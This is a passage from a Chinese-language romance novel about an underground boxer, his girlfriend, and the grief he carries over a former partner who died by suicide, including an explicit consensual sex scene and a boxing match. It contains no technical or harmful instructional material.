“胸…嗯,或者腿也行。”杜安勇的嗓门有些嘶哑,厮磨品尝着她的下颚,又来到锁骨之间的颈项来回舔舐,“…这地方尤其喜欢。”

丁涵咯咯笑起来,“挑逗我?你得自食其果。”

“我怎么觉得那是我的词儿呢?”

“啊,你有什么特别的想法吗?”丁涵耳语道,印上一吻。

“有啊,有非常特别的想法。”

“真让人期待。”

丁涵的眼神情欲氾滥,觉得胸脯沉重而鼓胀,她拿起他的手放到自己的胸脯上。杜安勇的动作急切而坚决,手指摩过她光滑白皙的皮肤,大拇指恰恰压在她紧绷发烫的乳尖,那是丁涵最希望被触碰的地方,使她忍不住发出细微的呻吟,在天旋地转中闭上眼睛。杜安勇的喉咙发出一声低咆,再度吻她,逗弄她的双唇,灼热的舌尖舔舐嘴角,饥渴又需索。

丁涵抓住杜安勇衣服下缘从腰系抽了出来,双手从衬衫下摆穿进去,触碰他结实的背部、腰侧及胸膛。他们的亲吻更加狂野火热,两人的唿吸又喘又急,双手急切地摸索与触探。但那似乎已经不再能满足杜安勇,在低吟中他俯下身体,加重力道吸吮她的脖颈和肩胛骨。与此同时双手顺着她的肋骨滑下,包覆住她臀部的曲线,再移到腰间将她举离地面。

丁涵以为杜安勇要抱她回卧室,但他只是迅速转过她的身躯,将她放在料理台上。冰冷的瓷砖触及她的臀部,令丁涵低唿出声,下意识双手撑在台面上稍稍抬离身体。杜安勇趁机拨开她的大腿,双手紧握腿根使劲儿抵住她的腹部,将丁涵的胯部定定贴在他紧绷、精瘦的身体上,嘴唇开始狂野激烈的攻击。

“我本来不想这么着急。”杜安勇喃喃低语,“你不该来挑逗我。”

“没关系。你不必太慢,有时候快反而好。”丁涵已经春潮氾滥,一阵阵热潮涌入她的血液,只稍稍一推,就会越过边缘陷入激情。

杜安勇闻言再没顾忌,掏出保险套叼在嘴里,一只手撕开锡箔包装,一只手解开裤子释放出自己,快速准备好后抓住丁涵的腿,深深推进她体内,迫不及待地用力冲刺恣意驰骋,解放蓄积久积的忍耐。

丁涵发出喜悦和期待的呻吟,紧攀着杜安勇,纤指掐入他的肩膀,双峰紧贴着他的胸,感觉他亢奋的勃起在身体中进出,兴奋窜过全身血脉,使她几乎无法动弹。她闭上眼睛,口中发出愉悦的呻吟。然而,杜安勇却捧住她的脸,撑开她的眼皮让她低头。两人一起盯着丁涵高耸的双乳弹起跳跃,以及杜安勇的硬挺在她体内出出进进。这交合的景象对丁涵来说太过淫靡、太过刺激,没能坚持一会儿她身下就又是一阵抽搐紧缩,继而瘫倒在杜安勇怀中,几乎晕厥过去。

杜安勇被丁涵身体箍得又紧又痒,直到快要忍受不住时,一只手来到两人身体间,固定住保险套迅速退了出来。他抱着丁涵从料理台上下来,还没等她两脚着地就将身体翻转过来,让丁涵弯腰趴在台子上。杜安勇没有挺身进入,而是抓住她翘起来的臀部按向自己胯间。两人耻骨相连,激烈的冲撞让皮肤噼啪作响。 杜安勇刚才还能听见丁涵愉悦销魂的叫喊,这会儿却已变成嗯嗯啊啊的低泣。他知道丁涵体力透支,但看着眼前红果果的美人仍然在努力抬着臀部迎合他,只觉得周身刺激和亢奋,让他忍不住动作越来越快、越来越猛,直至激吼出声,一泻如注。

杜安勇弯下腰贴在丁涵背上,抱着她等待两人唿吸顺畅恢复平静。杜安勇拨开丁涵的长发亲亲她的耳背,低声问道:“你还好?”

丁涵咧嘴点点头,呵呵笑起来。“除了双腿发抖、心脏蹦出嗓子、血压高到外太空。”

杜安勇又使劲儿亲了她一下,抬手把她抱进卧室放到床上,替她盖好丝被,这才开始收拾自己。

“不早了。”杜安勇看看表,抱歉地说道。

“你这会儿要回家?”丁涵有些诧异。

杜安勇有些为难,“我明天一大早就得起来,不想吵醒你。”

“怎么会呢!我也要早起啊。”

两人同枕共眠是一件愉快的事情,丁涵知道杜安勇喜欢,也不止一次提起,但他很多时候并不会选择留下来过夜,这种做法多少让她觉得被遗弃。每次杜安勇离开后,她一个人孤零零留在屋子里,总会产生一种非常孤独的感觉,但是她不想恳求他,既然杜安勇不愿意留下,就没有必要勉强他,她并不觉得如何,只是有些失望,好吧,其实是非常失望。

丁涵不想他离开,忍不住说道:“我们好几天没见了,见面到现在还没好好说话呢!”

杜安勇看上去仍然非常犹豫,但他终究还是点点头,“我去冲一下。”

当杜安勇裹着浴巾躺到她身边时,丁涵迫不及待圈着他的腰,紧拥着他。她很高兴杜安勇决定留下来,同时也有一种直觉,虽然杜安勇看上去平和安静,但却挡不住那股挥之不散的阴郁气息,而他正在有意无意地将那份阴郁转化成原始的性饥渴。她不是怕他,或担心自己的安全。杜安勇绝不会伤害她,但她觉得他好像在用她当某种解药,化解心中的阴郁。真正令她担心的是,几次美妙的性爱无法真正解决他的心病,所以他才会疏远、才会选择独处而不是她的陪伴。 他们的关系在进入二月后渐渐改变,不是像丁涵期盼的越来越亲密,她感觉到杜安勇开始退缩,变得烦躁心事重重。两人之间的沉默不再和谐自在,而且陷入沉默的时间越来越长。她曾试图跟他谈论究竟是什么事令他困扰,但他总是巧妙的回避。

杜安勇有种某件事不太对劲的感觉,不是灾难性的可怕错误,但只是不…… 太对。他没想过会那么喜欢丁涵,再次那么喜欢一个人,这让他心烦,甚至有些害怕。也因为这样,尽管和丁涵共用时光甜蜜美好,他也不愿意放纵自己。他需要时间独处,即使那让他看上去像是某种懦夫的行径。这念头只让杜安勇更加愤怒,就好像鞋里有颗石子或在拳场被打得爬不起来时的恼怒。自尊也好、自卑也罢,面对丁涵,他想给她全部,但他的世界太小太简陋,根本留不住她。 或者,留得住她么?

杜安勇长叹一声,打起精神向丁涵办公室走去。四处都是来来往往的人群,在落日的余辉中川流不息。今天是周三,他们会找家餐厅吃晚饭,然后直接去拳场。这次的比赛非比寻常,因为他已经决定和过去做一个了断。这两年拳场不光带来经济利益,更重要的,是老天所赐的最佳良方,使得在他心中闷烧的不安有个出口,也逼使自己将不愉快的记忆停留在角落。然而现在不同,他知道如果这么继续打下去,只会伤人伤己。

他不能害了丁涵,他已经害了——

忽然,杜安勇遥遥看到远处一个背影,娇小而消瘦,除此之外并无特别。他呆呆驻足几秒,然后快速跑动起来,不顾一切追逐那个熟悉的背影,仓皇中不知拨开多少人,撞到多少肩膀、引来多少责骂,可他到底没能追上她。杜安勇站在十字路口,在人群中焦急四顾。天已经暗了下来,他不知道该往哪个方向去追。 放眼望去到处都是人,唯独不见她。杜安勇从来没有这么痛恨过汹涌的人群,轻易就将一个人完全淹没其中。

杜安勇不相信自己认错了人,但也知道一定是认错了人。他在路口驻足许久,直到黑暗完全将光亮吞噬,这才觉得身上冷似一阵、热似一阵,不需要用手去拭,也知道额上满头大汗。他一定是疯了,才会觉得一直站在这里会有任何改变。尖锐刺耳的铃声忽然在他耳边响起,杜安勇惊了一下才意识到是自己的电话。他按下接听,电话那头传来温婉悦耳的声音,是丁涵。

“我这边已经完事儿,要不要约个地方我去迎你啊,省点儿时间。”

杜安勇这才想起和丁涵的约会,他暗骂自己粗心,可这会儿的样子实在不适合见人。“我临时有点儿事儿,一会儿直接去拳场,你不用等我了。”

丁涵心思缜密,立刻听出他的异样。她关切地问:“怎么了?你还好?” 杜安勇摇摇头,过了会儿才意识到他对着电话,丁涵根本看不到。“没事,不用担心。”没等丁涵回答,杜安勇就挂了电话。他犹豫了一下,到底还是挑了个方向快步走出去。

如果杜安勇稍稍回头,就会看到站在远处的丁涵握着手机正直直盯着他。丁涵原本想走上前,但将杜安勇的失魂落魄净收眼底后,她明白这时候自己绝对不是他的最佳伴侣,更何况他也明确表示不需要她。丁涵不知道他看到了谁,使劲儿想要追的又是谁,但很明显感觉到他们之间脆弱的关系,即将触礁。

今天拳场来了三十多个人,女的全部年轻貌美,男的清一色亢奋激动。前两场只是热场,双方实力相差太大,很快就比出胜负。等到杜安勇上场时,比赛进入狂野,有的发出如狼似虎的喧哗呐喊,有的两指塞在唇间大吹口哨。这次他的对手外号‘金刚’,已经连着赢了两个月的比赛,正是血气方刚、气盛凌厉的时候。两人轻快跳上拳击台,低头从绳子下钻过去,互相握握手打了个招唿。在这个场子里,每个人都希望把对手打伤、击倒、直到打垮认输,谁都不会掉以轻心。 然而双方并无恶意或仇恨,上了赛场就是为了分出胜负,无可厚非。

锣声一响,他们立刻拉开架势,‘金刚’迅速出击,时进时退、忽左忽右,一会儿用左拳打杜安勇的眼睛,一会儿又用右拳击他的肋骨,同时轻快跳离,脚步灵活,敏捷躲开杜安勇的反击,紧跟着又跳回来发动进攻,急不可待获胜的心情昭然若揭。开始几个回合全是‘金刚’的天下,他动作轻捷潇洒,狂风暴雨般的攻击令观众眼花缭乱、掌声四起,赢得全场喝彩。杜安勇完全被‘金刚’密如雨点的拳头压倒,根本没机会主动出拳,只是兜着圈子等待对手上来强攻,或者干脆扭抱住‘金刚’使他打不到自己。虽然有效,但这种毫无作为的躲闪抵挡、勉强招架的情形也更加刺激‘金刚’的好胜心和求胜欲。

‘金刚’的意图很明显,就是想靠这种穷追猛打、不依不饶来速战速决。这并不出人意料,因为和杜安勇比起来,他更有体能优势,尽可以凭藉取之不竭的精力和必胜无疑的信心压倒他。杜安勇对于‘金刚’的反应太熟悉不过,然而这种快打其实并没有多大危险,只要见招拆招对付他的猛烈进攻就好。最关键的,他绝对不会跳来跳去,做一点儿浪费力气的事情。杜安勇的应对策略简单直接,不去想急于求成,而是耗住比赛时间,依靠平时积攒的技术经验,撑到他松懈、撑到他漏出破绽,然后施展最有效的打击。

‘金刚’也不是傻子,当然不会给杜安勇这样的机会。前面的几个回合形势完全一边倒,‘金刚’掌握场上全部主动,尽其所能打出凌厉有效的组合拳,同时根据杜安勇的优势与劣势做出攻防。杜安勇越是想掩盖保护自己的弱点,越有可能会遭到‘金刚’快速集中的进攻,不断地切入扩大。两人斗了一个回合又一个回合,全场观众激动得起立呐喊。‘金刚’也跟打了鸡血似的越打越凶、越战越勇。他已经无法忍受杜安勇这种折磨人的拖延方式,不断发起一波又一波攻势猛烈的进攻,一拳紧似一拳的出击、躲闪。杜安勇好几次险些被‘金刚’打得人仰马翻,仅一步之遥便被击倒在地。

终于,‘金刚’由于过度自信而露出破绽。刹那间杜安勇眼到手到,胳膊弯成拱形使拳头更加结实有力,同时把正在旋转着的全身重量都加在手上,一记勾拳挥了出去。‘金刚’下巴遭到这猛然一击,身子即刻向后倒在了台上。观众顿时紧张起来,不由发出一阵低沈的惊叹和叫好。

‘金刚’立刻爬起来,然而随着时间推移,由于先前的猛打强攻他已经精疲力竭,虽然能挥舞拳头把杜安勇打得踉跄后退,可最后杜安勇总能稳住身形继续迎战。‘金刚’不得不痛苦地意识到自己已经没了优势,再不那么神气十足,杜安勇比他先前碰到过的那些家伙们要厉害得多。乱糟糟的心理活动让‘金刚’无法集中精力,甚至不能发挥出自己真实的拳击实力。到第八回合,‘金刚’再一次失算,杜安勇躲过他致命摆拳,靠一记闪电般掏心勾拳,重重击打在他的下巴。 ‘金刚’倒了下去,这次再也没有能力爬起来。

裁判最终宣布杜安勇胜利,紧接着一个穿着蓝色短裙、紧身白上衣的女子投入他的怀抱。丁涵知道她应该习以为常,但还是忍不住一脸恶心地看着那女人张大嘴巴,挂到杜安勇脖子上凑了过去。杜安勇退开,目光快速飘向丁涵站立的角落,投给她一个轻轻的微笑,然后被一群人簇拥着,退出场子到后台休息整顿。 “我没看错吧,‘牛二’在对你笑么?你倒是会挑啊!”

丁涵沈浸在自己的思绪中,忽然耳边听到这么句吓了一跳。她寻着声音扭头,看到付明耀不知什么时候站在自己身边,一脸的挪揄。丁涵和付明耀一样,都和拳场的头儿有些沾亲带故,不过她在这儿只是数钱、付明耀却是找乐子花钱来的。 丁涵皱皱眉头,假装不知道他在说什么。

付明耀贼贼笑了一下,“哈,你们自认为谨慎,可我在停车场见过你上他的车。”

丁涵白他一眼,“你究竟想说什么?别绕弯子。”

付明耀向杜安勇的方向抬抬下巴,“他和老板说今天打最后一场就退出了。” 丁涵愣住,完全没想到会听到这个消息。

付明耀看着她的表情,眼里闪现一丝惊讶。“看来你不知道?我还以为是因为你反对,他才决定退出的呢。”

丁涵摇摇头,小心翼翼地问:“你为什么会这么猜?”

付明耀一脸理所应当,“很简单啊,他当初是为了女人进来的,那退出当然也是为了女人。”

丁涵非常想表现的若无其事些,但现下的状态对她来说实在很难,两人的关系濒临破裂,她急需帮助挽留住这个男人。付明耀在这个拳场呆的时间比她长,对杜安勇的了解也更多,说不定能透露些什么,随便什么,只要让她知道杜安勇究竟是怎么了,她也好想出个办法应对,这会儿实在不是在乎面子上那点儿虚荣的时候。

丁涵下定决心,点点头表示承认,并且诚心问道:“你对他知道多少?” 付明耀笑道:“如果你以为他是那种会在我面前长吁短叹,诉说他是多么孤独和烦恼,那你就看错人了。一个人要费很大的力气,才能从他那儿知道一些关于他的事。”

丁涵‘哼’了声,一副不要废话的神态,“别卖关子了,我这儿正发愁呢。” 付明耀本也不打算隐瞒,说道:“他是人托人进来的,之前老板打听过他的底儿,背景倒是简单,进来是因为想结婚可没钱。开始打拳的时候他总是很着急跟老板那里提现,不过这两年却变了风格,想来事情没成。要知道他在这里时间可不短,赚的钱不是小数字。这位既没换工作、也没换住处、开的还是那辆破皮卡,甚至连件衣服鞋子都没见新的。估计应该在等吧,等人、等退出、等个理由。” 显然和她无关。

丁涵万分沮丧,打起精神说道:“这些他没瞒着我,他想结婚的是一个老乡,两人一块儿在超市打工,不过后来奔高枝把他甩了。”

付明耀了然,点点头说道:“和我猜的也是八九不离十。不过换个角度讲,他喜欢的类型和他有很多共同之处,而你……”他从头到脚打量她,叹了口气,非常惋惜似的,“没的比。”

丁涵立刻跳了脚,脸上流露出紧张不安的神情。“你在说什么啊!她怎么和我比?我可没有把他逼到这里,每个星期被人打个鼻青脸肿。”

付明耀奇怪地看着她,使她了解她说的话想必有些怪异。“他显然不介意。” 丁涵眯起眼睛,一脸厌恶地说:“什么意思?我出局是因为隔壁大棚那个种菜的妹子才是他的最佳老婆?”

付明耀不以为意,耸耸肩道:“说不定呢。把女人当玩儿还是当事儿,二十岁的男人可以不用脑子想,但三十岁的肯定不会。”

丁涵想要反驳,可张了张嘴却发不出声音,到底还是安静下来。付明耀这么说有根有据,他以前有个人见人夸的女友周敏,非常漂亮、非常优秀,家里人都说这俩是最登对儿般配的一对儿,每次看到他们在一起,也都是甜甜蜜蜜、恩爱有加,随时都可能宣布男婚女嫁的样子。结果呢,付明耀还不是说甩就甩、没有一点儿犹豫,不管周敏爱他爱得多一塌煳涂。

丁涵咬着嘴唇出神想了很久,这才声音略带颤抖和懊恼地说:“开始在一起时稀里煳涂,以为只是玩玩。后来是我提出大家在一起的,当时看他蛮喜欢这点子,可是我好像还是太心急,想从他那里得到很多,也想付出很多,但对他来说太快了些,他还没有准备好。最近一段时间明显疏远很多,而且心事重重。我一直说和他聊,什么事儿不能坐下来好好谈,但他…心思不在这儿,具体怎么回事儿我也说不来,总之一副随时要跑路的样子。”

付明耀摇头,“他又不是律师,聊有毛线用。这位打拳,只懂血腥暴力。你也是看到刚才的情形,当他赢‘金刚’赢的侥幸么?其实整场比赛都在按着他的节奏走,对手再嗨也是输,所以,无论是当玩儿还是当事儿,跟他这儿就得豁出去狠着劲儿来,重要的是掌握主动。”

丁涵疑惑地看着付明耀,“是么?但是我认为现在还不必给他发最后通牒。” “为什么不?”

“他不会喜欢的。如果我施加太大压力,也许他就真要被吓跑了。”尽管到目前为止,和杜安勇的相处除了性爱以外,没有丁涵想像中的浪漫和快乐,这有些泄气,但她还不准备放弃。

付明耀一副无所谓的样子,“那又有什么关系,你自己都说他现在已经准备跑路了。”

和付明耀再见后,丁涵找到杜安勇,像往常一样两人回到她的公寓。杜安勇非常沉默,面目严肃冷峻、一副不愿意说话的样子。这种情况不管怎么自圆其说或者乔装打扮,丁涵的感情还是受到极大伤害。她不由自主把付明耀说的每一句话在脑子里重新过一遍,记住了一些,好像也忘掉了一些,使得她拼命想把忘掉的那部分尽量回忆起来。

丁涵定了定心神,将白酒和几盘小菜放在餐盘上,端起来走进起居室。

杜安勇坐在沙发上,身躯微微前倾,双肘搁在腿上,一手拿着遥控器,漫不经心按过每个新闻频道。

“你今天晚上打得很凶啊!”丁涵说着将餐盘放在茶几上,其实他每场都打得很凶,她不过没话找话而已。

“嗯。”杜安勇答应着拿起酒杯,顺便把电视音量减小。“我告诉老板这是最后一场,然后就退了。”

丁涵很是高兴他并没有打算隐瞒此事,但也察觉到他没有说出原因。她窝在沙发另一角,手枕着靠背,给杜安勇时间希望他多说一些,但是他没继续。照以前,丁涵也许就岔开话题说些别的,但和付明耀交谈之后,她决定稍微探究。丁涵轻声问道:“怎么了?是想了很久还是忽然决定的?”

她以为他不会回答,然而杜安勇耸耸肩,“迟早的事儿。”

“感觉如何?”

杜安勇啜了一口酒,眼睛仍在电视萤幕上。“什么感觉如何?”

“如果早就决定了,你为什么仍是一副心事重重的样子?”

杜安勇的酒杯停在半空,毫无预警的,眼中的些许暖意消失,表情变得封闭而退缩。

丁涵她微微一笑,“你知道我是怎么想的吗?”

“不知道,但我感觉你会告诉我,不是吗?”

“无论如何打拳已经成为你生活一部分,现在说放弃,让你割舍不下。我认为你很担心自己适应不了。”丁涵将语气刻意压得柔缓,而且仔细盯着杜安勇的反应。

杜安勇畏缩了一下,“胡说。”他的目光重新挪向电视,而丁涵打赌,他什么都没看进去。

入夜,他们相拥而眠。漆黑的卧室里没有任何动静,月光透过窗帘间的缝隙照射进屋里,隐隐照亮房间里的一个小角落,也让黑暗处显得更加黑暗。杜安勇睁着眼睛盯着天花板发呆,想到今天下午在马路上看到的那个熟悉背影,顿时感到烦躁不安、喘不过气。他试着深深吸气再缓缓唿出,可却没有半点帮助,屋里好像被抽了一半的氧气,让他几乎快要窒息。杜安勇仔细聆听丁涵的唿吸变得均匀绵长,这才轻轻抽出压在丁涵脑袋下的胳膊,起身悄无声息地移动。

丁涵醒了过来,杜安勇的轮廓在黑暗中模煳难辨,但其实无所谓,她早已把他的音容笑貌清清楚楚记在脑子里。丁涵给了杜安勇几分钟,确定他起床不是走向洗手间。心中的怀疑得到证实让她很不高兴,但她试着让自己尽量保持冷静。 丁涵默默坐起来,双腿盘在身下,手肘撑在膝上,下巴靠着手掌,直到看着杜安勇穿戴整齐一副要出门的样子,她才开口说道:“你知道你实在可以靠当夜盗赚大钱,当然,也可能是你擅长熘出女士卧室。”

杜安勇有片刻静止不动,接着转过身一脸歉疚。“抱歉,我无意吵醒你。” “看得出来。”

“丁涵——”

“告诉我你究竟怎么了?我知道你心里有事儿,说出来,除非你打定主意让我蒙在鼓里。”

“我睡不着。”杜安勇拿起一件黑色外套。“我想你不会喜欢我在你的客厅踱步到天亮,所以我决定去外面走走。”

“三更半夜?”

“我只是想新鲜空气应该会有帮助。”

“得了吧,”丁涵发现自己在挥舞双手,于是勉强交叉抱在胸前,狠狠地说:“你打算离开我走人,对不对?”

“你在说什么?”

“你这一离开就不再回来了。”丁涵心里既难过又愤怒,“我简直不敢相信,你至少该更有风度、更有礼貌些。”

杜安勇皱着眉头矢口否认:“让我们说清楚。我不是要出走,只是出去走走,这两者差别很大。”

“我才不信。你这段时间古怪透顶,我认为那是因为你想结束我们的关系。” 泪水刺痛了丁涵的眼睛,声音有些颤抖,“你改变主意,却没有胆量告诉我,对不对?”

“当然不是。”

“当然是!后悔了,厌烦了,然后走人,承认吧!”

“操,你少替我发言。”杜安勇两大步缩减两人之间的距离,紧握住她的上臂。“不是你想的那样。”

丁涵非常清楚他指间传达的强制力,他没有弄痛她,但也一样无法挣脱。她抬起下颚,倔强地说道:“那你干嘛想离开?”

“我不是想离开,”杜安勇粗声说:“但如果我今天回自己家或许会比较好。” 丁涵忍不住再次提高嗓子,“我就知道。”

“不,你什么都不知道,你只是认为你知道,这和你、或我们俩没关系。” “胡说八道,那我们在这里吵什么,无论是什么,都正在影响我们的关系。” “丁涵,我只是有些烦躁,就这样,不想影响到你而已。”

“你在说什么啊!不声不响避开我走得远远的,就不再烦躁了么?情绪就稳定了么?还说和我无关。”

“不是的,”杜安勇语气阴郁,放开她后退一步,停顿片刻叹口气道:“对不起。”

丁涵心里一沈,重点来了!她追问道:“道歉什么?你说清楚!”

杜安勇更加犹豫,但这种时刻,道歉又何济于事。他想了想,还是决定用最直接的方式坦白。“记得我在电梯里说过,我以前有个女友,今天在路上看到她——”

丁涵立刻明白过来,她暗叫倒楣,心里更是恨得牙齿痒痒,“原来如此,这些天你心神不宁,果然是‘前女友’跑来捣乱。你爱她爱的要死要活,她却另结新欢。现在这个女人重新回来找你,倾诉一堆胡扯八道的废话,总之就是她过得不快乐,日子很苦很艰难,想和你重修旧好,因为这会儿终于明白你的好。你当然对她好了,她要什么你给什么,招之则来,挥之则去。可对我呢,就可以当混蛋,从头到尾跟我招唿都不打、一句话也不说,憋着劲儿不声不响就这么把我甩了,跟你那前女友一个德性。”

杜安勇摆摆手,想要制止住丁涵天马行空的想像力。“你听我说完,行么?” 显然不行。

丁涵抹了抹从眼眶奔涌而出的泪水,有些绝望地说道:“到这会儿了还能说什么——你的心情很复杂,你其实也非常喜欢我,不想和我分手,可就是放不下她,尤其她现在正是需要你的时候。承认吧,你想说的不过是一堆安慰人的废话,让我好受些,也让你自己能好受些,是个人都知道那是怎么回事儿。”她神情凄惨,苦笑着继续说道:“我们总是会想,没有选的那条路会不会更好。”

杜安勇看她越扯越远,忍不住吼道:“你闭一下嘴行不行?”

丁涵眼泪流得更凶了,一副伤心欲绝的样子,“现在哪儿有我说话的份儿,明摆着前女友那条路更好。”她话锋一转嗓音提了起来,“当然会更好了!她多楚楚可怜啊,你不能离开她,是吧?承认吧,你今天下午没和我一起吃饭就是因为她,是吧?你们在一起聊什么?我打赌她一个劲儿提醒你别忘了当初俩人在一起的幸福时光,是吧?你决定不打拳也是因为她,是吧?你们打算一起回老家从此幸福地生活在一起,是吧?”

丁涵虽然一个又一个的问题抛给杜安勇,但他已经放弃开口回答的机会,只是静静地站着看丁涵脾气爆炸、怒火冲天。

果然,丁涵几乎尖叫着继续说道:“行了,现在情形再清楚不过了。你走好了,成全你们,但别想听我说什么好话。凭什么啊,她比我可怜就可以她说了算! 搅了我的生活,抢了我的男人,我咒她下十八层地狱!“

杜安勇脸上出现一个古怪的表情,“她死了。”

丁涵正处于抓狂状态,根本就听不进去杜安勇说什么。她两行眼泪流成河也顾不得擦,只是使劲儿点点头。“没错,我就是这意思,她对我做得恶毒,就别怪我说得恶毒。‘前女友’这种生物就是社会公害,真心应该被扔进黑洞,从此在宇宙中消失。”

杜安勇无奈补充:“她已经死了,死了两年了!”

丁涵开始还没回过神儿,等终于听明白了,愣是将快要喊出嘴边的委屈咽了回去。强烈的释然交织着尴尬,丁涵这才知道闹半天假想敌竟然根本不存在。她觉得自己万分傻气,一时又有些拉不下面子,可也不知道该如何反应,而且杜安勇刚刚提起今天还看见了这个女人更是让她煳涂迷惑,只能愣愣吐了个字:“噢!对不起,那个…我一时气话而已,不是说真的。”

“过两天就是她的忌日。”

杜安勇说完身子有些摇晃,丁涵赶紧走上前抱住他,直至感觉他的紧绷消失了些,才拉着他的手,可怜兮兮说道:“好吧,是我的嫉妒心在作怪。我无权说那些话,刚才只是太委屈了,觉得你对我很不公平。要知道我好不容易才遇见你,高高兴兴正打算庆祝这辈子来了一次成功冒险,却没想到忽然来个前女友跑回来搅事儿。这让我感觉就像……就像挂在驴子面前的胡萝卜,明明就在眼前,拼命拉车却永远也吃不到。”

杜安勇苦笑,“这是我迄今为止听到的最烂比喻。”

丁涵知道这将是个漫长的夜晚,她带他走出卧室。“来吧,我们去厨房,我弄杯热牛奶给你。”

“我——”杜安勇只说了一个字就梗住了。

丁涵关心地低声问:“你还好吗?”

杜安勇点头,至少他觉得自己点头了。“我或许需要些有后劲儿的饮料。” “依你。”

杜安勇斜靠在流理台边,看着丁涵在厨房里拿出酒杯和酒瓶,倒好后递给他。 他啜饮一口,“这感觉很怪。”

丁涵忽然静止不动,“嗯?”

“谈论她,赵怡。”

丁涵有点紧张,自我辩解:“这是她的名字?你如果不想说,就不要说。” “不,这样很好,我只是不太习惯。”

赵怡在杜安勇送货的超市打工收银,她长得漂亮、人也活泼,虽然比他出来得晚,却很快和超市的员工稔熟起来,追求者更是众多。赵怡挑来挑去,最后挑中了身高马大的杜安勇。他自然欣喜万分,百般照顾和讨好,那一年可以说是杜安勇最开心的日子,直到一个叫韩宗海的医生出现。起初他还被蒙在鼓里,只是感觉到赵怡对他渐渐疏远和冷漠。聊起来了,赵怡只会说些哪个店里在卖好看的衣服、哪儿的餐厅酒楼又开了新菜系。

杜安勇爱煞赵怡,她是他的一切,而她也清楚他的心意,并且能够让自己予取予求。杜安勇迅速找到来钱快的方式,虽然曾经发誓不再打拳,但为了深爱的女人,他心甘情愿付出所有。可既是这样,对她来说还是不够。直到有一天赵怡和他摊牌,告诉他她心有另属。杜安勇惊呆了,尤其是打听到对方已经是个年过半百的老头子,更是用尽办法劝她回心转意。然而苦心劝说也好,大发雷霆也罢,无论他如何软硬兼施,赵怡就好像吃了秤砣铁了心。

杜安勇努力争取了三个多月,换来的不过是赵怡和他的最后决绝。

“你不能这样对我们。”杜安勇的语气沙哑。

“不是我们,这是对你。”

“我不是在拦着你,但你真的在犯错。”

“不,我是在更正和你扯上关系的错误。”赵怡的语气锐利起来,然后转为灿烂的笑脸,“我要结婚了。”

杜安勇彻底懵住,他们在一起才几个月而已,赵怡竟然就要和那老头儿结婚了!他紧握住双拳,知道一切难以挽回,只能勉强挤出一丝笑容。“那,他妈的,恭喜你。”

赵怡对于他的道喜并没有什么在意,不过还是伸出手,“谢谢。”

杜安勇立即回握住她的手,只是她很快就把手抽了回去,快速和他说完再见后转身离开。杜安勇哪里会舍得,一年的感情更不是说放就能放的。他明知自己傻,可还是忍不住偷偷跟着她,看她换上漂亮的衣服、跨上新买的手提包走到民政局。

意外的是赵怡的未来丈夫并没有出现,他在暗处眼睁睁看着坐在长凳上的赵怡,先开始是一脸期待的笑容,然后变成不满和生气,再到焦急和担心。直到民政局下班,她才不得不起身离开。即使这样,赵怡还是在大门口来回踱步,天空飘起了细雨,很快雨势就大了起来,可她不管不顾,只是拿着手机不停地查看和拨打。杜安勇实在看不下去,想要上前拉住她,却没想赵怡拦住一辆计程车飞驰离开。

杜安勇说到这里陷入沉默,丁涵实在不明白,忍不住问道:“你一直躲在边上看?”

杜安勇点点头,“赵怡一直让我们隐瞒两人的关系,说大家在一起打工,怕影响不好。后来摊牌,她明确告诉我任何时候都不能出现在她身边,她怕引起那个医生的误会。”

丁涵不屑地从嗓子里冒出一个咕哝声,杜安勇也感觉到脸上因为羞愧而引起的灼热和气愤——气自己的愚蠢,蠢到玩这种偷偷摸摸的游戏。

“后来呢,她去找那个医生了?”

杜安勇点点头,勉强说道:“那医生显然只是玩玩,不然怎么可能任由她一个人在民政局坐一整天的时间。”

之后的故事可想而知,绝望的赵怡守在医生的家门口,等到他的车子开过来,义无反顾扑了上去,当场丢了性命。

“可你刚才说今天看见她是什么意思?她爱的是你,人却想给那个医生。现在人没了,就跟你这儿留恋着?”丁涵仍然疑惑不解,自己都觉得荒唐可笑。 “爱?赵怡不可能爱我,这点我早就知道。我唯一犯下的错,就是我总是记不住。”杜安勇揉了揉太阳穴,自我解嘲道:“我确实以为看见了她,只是周围很多人,又是背影。可能最近压力有点儿大,又临近她的忌日,脑子乱了些。” 杜安勇仰起脖子将杯中最后一点酒灌到肚子里,起身拉住丁涵的手。他不知道她会怎么想,他的坦白对两人之间又会有什么影响,他甚至不确定自己心里究竟是好受还是难受。然而丁涵看上去却异常平静,两人再次回到昏暗的卧室。 丁涵爬上床说道:“如果你睡不着就去看电视,但答应我别半夜出去散步。” 杜安勇躺到她身边将她拥入怀中。一会儿,他睡着了,但丁涵没有。这男人是个重情重义的人,毕竟是相处了一年的女人,杜安勇缅怀悲伤无可厚非。更何况和赵怡这些事儿都是他在认识她之前发生的,她还不至于那么不懂事,为此和杜安勇发脾气耍性子。人死如烛灭,她是绝对不相信这世上会有鬼,虽然现在看来跟杜安勇这儿还是阴魂不散。那就只有一种解释,杜安勇对赵怡用情太深,以至于走火入魔虚实不分了。

丁涵清醒地想着刚才他说的种种,知道杜安勇道出的都是实话,但也没有说出全部真相。她不知道他省略的是什么,以及他为什么觉得必须有所隐瞒。丁涵暗暗决定打听一二,她不是嫉妒心作祟,也不是窥探别人隐私。她只是挖掘事实的真相,这样才能拿出对策。现如今,她已经不光是在帮杜安勇,更是在帮自己,竭尽全力、在所不惜。

四。不管将来会怎样,总好过现在的一无所有。

赵怡忌日这天,杜安勇原本想去出事的地方烧些纸祭拜她。丁涵知道了固执地也要跟着一起去,自此那天晚上大吵之后,她和杜安勇说话就不再拐弯抹角,而且坚决不当‘隐形人’,说起理由振振有词——杜安勇本人的经历就是活生生教训。对于丁涵的黏煳杜安勇倒是并不介意,甚至心里还有些小喜欢。可烧纸祭拜和两人牵手走在马路上是两回事儿,他并不很想让丁涵跟着,然而就算他一再保证做这一切只是站在老乡的立场,没有其他特别含义,丁涵的反应只是摇头,抓着他的衣袖就差让自己挂到杜安勇身上。

杜安勇没办法,只好载着她一起来到赵怡出事的地方。这天刚好是周末,他们又挑了个大清早,三四个提着兜子赶早市的妇女,叽叽喳喳聊着天从他们身边走过。

“不知道这次韩医生得罪了谁?竟然寻仇寻到家门口了。”

“可不是么,现在医生也是高危职业啊!”

丁涵和杜安勇听到后不由自主相视片刻,然后目光一起向马路对面看去,只见一片住宅社区的院门深处,一群人围了里三圈外三圈,对着一副超级大的海报正说要不要上前看看热闹,扭头看向杜安勇却吓了一大跳。她一直以为‘面无血色’这个词不是真的而只是一种修辞,但除此之外,她不知如何描述杜安勇脸庞刷白的模样。

